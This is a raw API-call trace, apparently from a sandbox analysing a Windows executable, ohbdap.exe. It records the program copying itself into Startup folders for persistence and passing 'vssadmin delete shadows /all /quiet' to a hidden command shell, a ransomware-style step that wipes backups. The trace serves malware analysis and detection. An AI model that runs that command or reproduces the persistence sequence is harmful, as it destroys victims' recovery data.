ExpandEnvironmentStringsW (in: lpSrc="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\ohbdap.exe", lpDst=0x50d438, nSize=0x7fff | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\ohbdap.exe") returned 0x67 [0031.007] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x51d440 | out: hHeap=0x4b0000) returned 1 [0031.007] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x50d438 | out: hHeap=0x4b0000) returned 1 [0031.007] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x100000) returned 0x20a0020 [0031.008] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x4e4a30 [0031.008] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4e4a30, Size=0x20) returned 0x4e5930 [0031.008] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x4e4a30 [0031.008] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4e4a30, Size=0x20) returned 0x4e58e0 [0031.008] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76c20000 [0031.008] GetProcAddress (hModule=0x76c20000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76c4d650 [0031.008] Wow64DisableWow64FsRedirection (in: OldValue=0x18fd9c | out: OldValue=0x18fd9c*=0x1) returned 1 [0031.008] lstrlenW (lpString="kernel32.dll") returned 12 [0031.008] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4e5930 | out: hHeap=0x4b0000) returned 1 [0031.008] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0031.008] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4e58e0 | out: hHeap=0x4b0000) returned 1 [0031.008] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ohbdap.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ohbdap.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe4 [0031.008] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\ohbdap.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\ohbdap.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe8 [0031.010] ReadFile (in: hFile=0xe4, lpBuffer=0x20a0020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18fd98, lpOverlapped=0x0 | out: lpBuffer=0x20a0020*, lpNumberOfBytesRead=0x18fd98*=0x17200, lpOverlapped=0x0) returned 1 [0031.022] WriteFile (in: hFile=0xe8, lpBuffer=0x20a0020*, nNumberOfBytesToWrite=0x17200, lpNumberOfBytesWritten=0x18fd98, lpOverlapped=0x0 | out: lpBuffer=0x20a0020*, lpNumberOfBytesWritten=0x18fd98*=0x17200, lpOverlapped=0x0) returned 1 [0031.024] ReadFile (in: hFile=0xe4, lpBuffer=0x20a0020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18fd98, lpOverlapped=0x0 | out: lpBuffer=0x20a0020*, lpNumberOfBytesRead=0x18fd98*=0x0, lpOverlapped=0x0) returned 1 [0031.024] CloseHandle (hObject=0xe8) returned 1 [0031.025] CloseHandle (hObject=0xe4) returned 1 [0031.026] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x4e4a30 [0031.026] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4e4a30, Size=0x20) returned 0x4e58e0 [0031.026] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x4e4a30 [0031.026] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4e4a30, Size=0x20) returned 0x4e5930 [0031.026] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76c20000 [0031.026] GetProcAddress (hModule=0x76c20000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76c4d650 [0031.026] Wow64DisableWow64FsRedirection (in: OldValue=0x18fd9c | out: OldValue=0x18fd9c*=0x1) returned 1 [0031.026] lstrlenW (lpString="kernel32.dll") returned 12 [0031.026] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4e5930 | out: hHeap=0x4b0000) returned 1 [0031.026] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0031.026] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4e58e0 | out: hHeap=0x4b0000) returned 1 [0031.026] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x20a0020 | out: hHeap=0x4b0000) returned 1 [0031.031] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x50d438 [0031.031] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x51d440 [0031.031] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x4e4a30 [0031.031] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4e4a30, Size=0x20) returned 0x4e58e0 [0031.031] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4e58e0, Size=0x40) returned 0x4e6a38 [0031.031] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4e6a38, Size=0x80) returned 0x50b450 [0031.031] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x50b450, Size=0x100) returned 0x4e7bb0 [0031.031] lstrlenW (lpString="") returned 0 [0031.031] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0031.031] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x8c) returned 0x4e7cb8 [0031.031] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x18fd18 | out: phkResult=0x18fd18*=0xe4) returned 0x0 [0031.031] RegQueryValueExW (in: hKey=0xe4, lpValueName="Common Startup", lpReserved=0x0, lpType=0x18fd24, lpData=0x51d440, lpcbData=0x18fd50*=0x7fff | out: lpType=0x18fd24*=0x2, lpData="%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", lpcbData=0x18fd50*=0x78) returned 0x0 [0031.031] RegCloseKey (hKey=0xe4) returned 0x0 [0031.031] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4e7cb8 | out: hHeap=0x4b0000) returned 1 [0031.031] lstrlenW (lpString="%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup") returned 59 [0031.031] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0031.031] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4e7bb0 | out: hHeap=0x4b0000) returned 1 [0031.031] ExpandEnvironmentStringsW (in: lpSrc="%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\ohbdap.exe", lpDst=0x50d438, nSize=0x7fff | out: lpDst="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\ohbdap.exe") returned 0x48 [0031.031] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x51d440 | out: hHeap=0x4b0000) returned 1 [0031.031] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x50d438 | out: hHeap=0x4b0000) returned 1 [0031.031] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x100000) returned 0x20a0020 [0031.031] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x4e4a30 [0031.031] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4e4a30, Size=0x20) returned 0x4e58e0 [0031.031] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x4e4a30 [0031.031] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4e4a30, Size=0x20) returned 0x4e5930 [0031.032] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76c20000 [0031.032] GetProcAddress (hModule=0x76c20000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76c4d650 [0031.032] Wow64DisableWow64FsRedirection (in: OldValue=0x18fd9c | out: OldValue=0x18fd9c*=0x1) returned 1 [0031.032] lstrlenW (lpString="kernel32.dll") returned 12 [0031.032] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4e58e0 | out: hHeap=0x4b0000) returned 1 [0031.032] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0031.032] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4e5930 | out: hHeap=0x4b0000) returned 1 [0031.032] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ohbdap.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ohbdap.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe4 [0031.032] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\ohbdap.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\ohbdap.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe8 [0031.035] ReadFile (in: hFile=0xe4, lpBuffer=0x20a0020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18fd98, lpOverlapped=0x0 | out: lpBuffer=0x20a0020*, lpNumberOfBytesRead=0x18fd98*=0x17200, lpOverlapped=0x0) returned 1 [0031.049] WriteFile (in: hFile=0xe8, lpBuffer=0x20a0020*, nNumberOfBytesToWrite=0x17200, lpNumberOfBytesWritten=0x18fd98, lpOverlapped=0x0 | out: lpBuffer=0x20a0020*, lpNumberOfBytesWritten=0x18fd98*=0x17200, lpOverlapped=0x0) returned 1 [0031.051] ReadFile (in: hFile=0xe4, lpBuffer=0x20a0020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18fd98, lpOverlapped=0x0 | out: lpBuffer=0x20a0020*, lpNumberOfBytesRead=0x18fd98*=0x0, lpOverlapped=0x0) returned 1 [0031.051] CloseHandle (hObject=0xe8) returned 1 [0031.052] CloseHandle (hObject=0xe4) returned 1 [0031.053] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x4e4a30 [0031.053] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4e4a30, Size=0x20) returned 0x4e5930 [0031.053] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x4e4a30 [0031.053] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4e4a30, Size=0x20) returned 0x4e58e0 [0031.053] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76c20000 [0031.053] GetProcAddress (hModule=0x76c20000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76c4d650 [0031.053] Wow64DisableWow64FsRedirection (in: OldValue=0x18fd9c | out: OldValue=0x18fd9c*=0x1) returned 1 [0031.053] lstrlenW (lpString="kernel32.dll") returned 12 [0031.053] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4e58e0 | out: hHeap=0x4b0000) returned 1 [0031.053] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0031.053] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4e5930 | out: hHeap=0x4b0000) returned 1 [0031.053] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x20a0020 | out: hHeap=0x4b0000) returned 1 [0031.057] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4eb428 | out: hHeap=0x4b0000) returned 1 [0031.057] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4fb430 | out: hHeap=0x4b0000) returned 1 [0031.057] lstrlenW (lpString="%windir%\\System32") returned 17 [0031.057] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4e69a8 | out: hHeap=0x4b0000) returned 1 [0031.057] lstrlenW (lpString="%appdata%") returned 9 [0031.057] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4c4398 | out: hHeap=0x4b0000) returned 1 [0031.057] lstrlenW (lpString="%sh(Startup)%") returned 13 [0031.058] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4c4370 | out: hHeap=0x4b0000) returned 1 [0031.058] lstrlenW (lpString="%sh(Common Startup)%") returned 20 [0031.058] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4e69f0 | out: hHeap=0x4b0000) returned 1 [0031.058] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x4e4a30 [0031.058] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4e4a30, Size=0x20) returned 0x4c4370 [0031.058] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4c4370, Size=0x40) returned 0x4e69f0 [0031.058] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4e69f0, Size=0x80) returned 0x50b450 [0031.058] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x4e4a30 [0031.058] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4e4a30, Size=0x20) returned 0x4c4370 [0031.058] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x1fffc) returned 0x4eb428 [0031.058] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x50d438 [0031.058] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x51d440 [0031.058] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x4e4a30 [0031.058] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4e4a30, Size=0x20) returned 0x4c4398 [0031.058] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4c4398, Size=0x40) returned 0x4e69f0 [0031.058] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4e69f0, Size=0x80) returned 0x50b4d8 [0031.058] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x50b4d8, Size=0x100) returned 0x4e7bb0 [0031.058] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0031.058] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4e7bb0 | out: hHeap=0x4b0000) returned 1 [0031.058] ExpandEnvironmentStringsW (in: lpSrc="%comspec%", lpDst=0x50d438, nSize=0x7fff | out: lpDst="C:\\Windows\\system32\\cmd.exe") returned 0x1c [0031.058] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x51d440 | out: hHeap=0x4b0000) returned 1 [0031.058] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x50d438 | out: hHeap=0x4b0000) returned 1 [0031.058] CreatePipe (in: hReadPipe=0x18fd58, hWritePipe=0x18fd5c, lpPipeAttributes=0x18fd48, nSize=0x0 | out: hReadPipe=0x18fd58*=0xe8, hWritePipe=0x18fd5c*=0xec) returned 1 [0031.059] CreatePipe (in: hReadPipe=0x18fdc8, hWritePipe=0x18fdcc, lpPipeAttributes=0x18fd48, nSize=0x0 | out: hReadPipe=0x18fdc8*=0xf0, hWritePipe=0x18fdcc*=0xf4) returned 1 [0031.059] SetHandleInformation (hObject=0xec, dwMask=0x1, dwFlags=0x0) returned 1 [0031.059] SetHandleInformation (hObject=0xf0, dwMask=0x1, dwFlags=0x0) returned 1 [0031.059] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\cmd.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x0, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x18fd68*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xe8, hStdOutput=0xf4, hStdError=0xf4), lpProcessInformation=0x18fdb8 | out: lpCommandLine=0x0, lpProcessInformation=0x18fdb8*(hProcess=0xfc, hThread=0xf8, dwProcessId=0x9b4, dwThreadId=0x9b8)) returned 1 [0031.249] lstrlenA (lpString="mode con cp select=1251\nvssadmin delete shadows /all /quiet\nExit\n") returned 65 [0031.249] WriteFile (in: hFile=0xec, lpBuffer=0x50b450*, nNumberOfBytesToWrite=0x41, lpNumberOfBytesWritten=0x18fd64, lpOverlapped=0x0 | out: lpBuffer=0x50b450*, lpNumberOfBytesWritten=0x18fd64*=0x41, lpOverlapped=0x0) returned 1 [0031.249] CloseHandle (hObject=0xfc) returned 1 [0031.249] CloseHandle (hObject=0xf8) returned 1 [0031.249] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4eb428 | out: hHeap=0x4b0000) returned 1 [0031.249] lstrlenA (lpString="mode con cp select=1251\nvssadmin delete shadows /all /quiet\nExit\n") returned 65 [0031.249] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x50b450 | out: hHeap=0x4b0000) returned 1 [0031.249] lstrlenW (lpString="%comspec%") returned 9 [0031.249] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4c4370 | out: hHeap=0x4b0000) returned 1 [0031.249] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40a530, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf8 [0031.250] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xc) returned 0x4e4a30 [0031.250] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40a710, lpParameter=0x4e4a30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xfc [0031.250] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x8) returned 0x4c47a8 [0031.250] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4098e0, lpParameter=0x4c47a8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x104 [0031.251] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x4e4a48 [0031.251] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4e4a48, Size=0x20) returned 0x4c4370 [0031.251] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4c4370, Size=0x40) returned 0x4e69f0 [0031.251] lstrlenW (lpString="ABCDEFGHIJKLMNOPQRSTUVWXYZ") returned 26 [0031.251] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xd0) returned 0x4e7c28 [0031.251] GetLogicalDrives () returned 0x4 [0031.251] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10014) returned 0x4eb428 [0031.251] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x4e4a48 [0031.251] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4e4a48, Size=0x20) returned 0x4c4370 [0031.251] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4c4370, Size=0x40) returned 0x4e6a80 [0031.251] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4e6a80, Size=0x80) returned 0x50b450 [0031.251] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x50b450, Size=0x100) returned 0x4e9198 [0031.251] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4e9198, Size=0x200) returned 0x4e9198 [0031.251] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4e9198, Size=0x400) returned 0x4e9198 [0031.251] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4e9198, Size=0x800) returned 0x4e97b0 [0031.251] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4e97b0, Size=0x1000) returned 0x4fb448 [0031.251] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10000) returned 0x50d438 [0031.251] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x4e4a48 [0031.251] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xc) returned 0x4e4b20 [0031.251] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x4) returned 0x4c4750 [0031.251] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xc) returned 0x4e4b38 [0031.251] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x4) returned 0x4c4760 [0031.251] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4e4b50 [0031.252] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4c4760, Size=0x8) returned 0x4c4760 [0031.252] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4e4b68 [0031.252] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4c4760, Size=0x10) returned 0x4c4718 [0031.252] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4e4b80 [0031.252] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4e4b98 [0031.252] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4c4718, Size=0x20) returned 0x4e7ab0 [0031.252] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4e4bb0 [0031.252] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x8) returned 0x4c4760 [0031.252] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xe) returned 0x4e4bc8 [0031.252] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xe) returned 0x4e4be0 [0031.252] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4e7ab0, Size=0x40) returned 0x4e52d8 [0031.252] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xe) returned 0x4e4bf8 [0031.252] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xe) returned 0x4e4c10 [0031.252] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xe) returned 0x4e4c28 [0031.252] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xe) returned 0x4e4c40 [0031.252] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4e4c58 [0031.252] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4e4c70 [0031.252] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x8) returned 0x4e5320 [0031.252] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4e4c88 [0031.252] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4e52d8, Size=0x80) returned 0x4e9198 [0031.252] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4e4ca0 [0031.252] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4e4cb8 [0031.252] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4e4cd0 [0031.252] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4e4ce8 [0031.252] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4e97c8 [0031.252] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xc) returned 0x4e97e0 [0031.252] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4e97f8 [0031.252] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x8) returned 0x4c4718 [0031.252] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4e9810 [0031.252] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4e9828 [0031.252] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xc) returned 0x4e9840 [0031.252] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4e9858 [0031.252] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xc) returned 0x4e9870 [0031.252] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4e9888 [0031.252] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xc) returned 0x4e98a0 [0031.252] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4e98b8 [0031.252] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4e9198, Size=0x100) returned 0x4e9198 [0031.253] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4e98d0 [0031.253] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4e98e8 [0031.253] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4e9900 [0031.253] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x4e9918 [0031.253] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4e9930 [0031.253] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4e9948 [0031.253] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x8) returned 0x4c4728 [0031.253] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4e9960 [0031.253] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4e9978 [0031.253] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4e9990 [0031.253] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x6) returned 0x4e7ab0 [0031.253] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4e99a8 [0031.253] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4e99c0 [0031.253] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x8) returned 0x4e7ac0 [0031.253] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4e99d8 [0031.253] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4e99f0 [0031.253] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xc) returned 0x4e9a08 [0031.253] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4e9a20 [0031.253] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4e9a38 [0031.253] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4e9a50 [0031.253] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xe) returned 0x4e9a68 [0031.253] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4e9a80 [0031.253] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x4e9a98 [0031.253] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4e9ab0 [0031.253] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4e9ac8 [0031.253] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4e9ae0 [0031.253] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 